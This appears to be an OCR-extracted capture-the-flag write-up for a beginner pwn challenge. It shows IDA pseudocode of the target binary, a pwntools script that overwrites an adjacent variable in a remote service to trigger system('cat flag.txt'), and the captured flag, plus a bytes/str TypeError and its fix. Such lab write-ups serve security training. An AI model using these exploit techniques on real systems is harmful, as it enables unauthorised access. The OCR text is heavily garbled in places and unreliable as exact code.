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:000000000040012C
[#] Functions m ® IDA View-A [ Pseudocode-A B | [©] Hex View-1 [ Structures
Funcktion name ’ 1| int64 _ fastcall main{int al, char **aZ, char **a3)
2 {
starkt ® 3| alarm(ox3cu);
SUb_4005CG ® 4 setbuf (stdout, OLL);
® 5 puts ("~~ welcome to ctf ~~ "y
sub_400640 ® 6| puts("lets get helloworld for bef");
e 7 read (0, &unk_601068, O0xl1l0uLL);
7] sub_400660
- © 8| if ( dword 60106C == 1853186401 )
sub_400686 ® 9 sub_400686 () ;
® 11
init }
fini
_kerm_proc
puts
setbuf
system
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int64 sub_400686 ()

{
system("cat flag.txt");
return 0OLL;

}
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.bss:0000000000601058 assume es:nothing, ss:nothing, ds:_data, fs:nothi
.bss:0000000000601058 public stdout
.bss:0000000000601058 ; FILE *stdout
.bss:0000000000601058 stdout dg ? ; DATA XREF: LOAD:000000C
.bss:0000000000601058 ; sub_4005C0+61¢
.bss:0000000000601058 ; Copy of shared data
.bss:0000000000601060 byte_601060 db 7 ; DATA XREF: sub_400640tx
.bss:0000000000601060 ; sub_400640+13tw
.bss:000000000060106] e S - align 8
.bss:0000000000601068 unk_ 601068 E | e 7 A DATA XREF: maint3Bto
.bss:0000000000601 06 F—remmrmmmmeesd db T
.bss:000000000060106A db T

I . bss: 0000000000601 0 6B e db T
.bss:00000 ccna,sclac* dword_ 50106&‘ dd ? ; DATA XREF: main+d4Atr
.bss:00000000006010 S ends
.bss:000000000060106C
extern:0000000000601070 ; =============================================================
extern:0000000000601070
extern:0000000000601070 ; Segment type: Externs
extern:0000000000601070 ; extern
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from pwn import *

p=remote('111.200.241.244"',57832)

payload = 'a'*4 + p64(1853186401).decode("iso-8859-1")
p.recvuntil("bof")

p.sendline(payload)

p.interactive()
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$ python3 mex.py
[+] Opening conncctlon to 111.200.241.244 on port 57832: Done
mex.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("bof")
mex.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
.sendline(payload)
[*] switching to interactive mode

cyberpeace{5c31be6el13ab8aaa®1f2fbc7a27fa392}
[#*] Got EOF while reading in interactive
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B $ python3 exp
[+] Opening connection to 111.200.241.244 on port 62723: Done

File , Line 4, in <module=
DEVAGEL p64( )
: can only concatenate str (not "bytes") to str
[*] Closed connection to 111.200.241.244 port 62723

File "mex.py", line 4, in <module>
payload = 'a'*4 + p64(1853186401)
TypeError: can only concatenate str (not "bytes") to str
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payload = 'a'*4 + p64(1853186401).decode("iso-8859-1")
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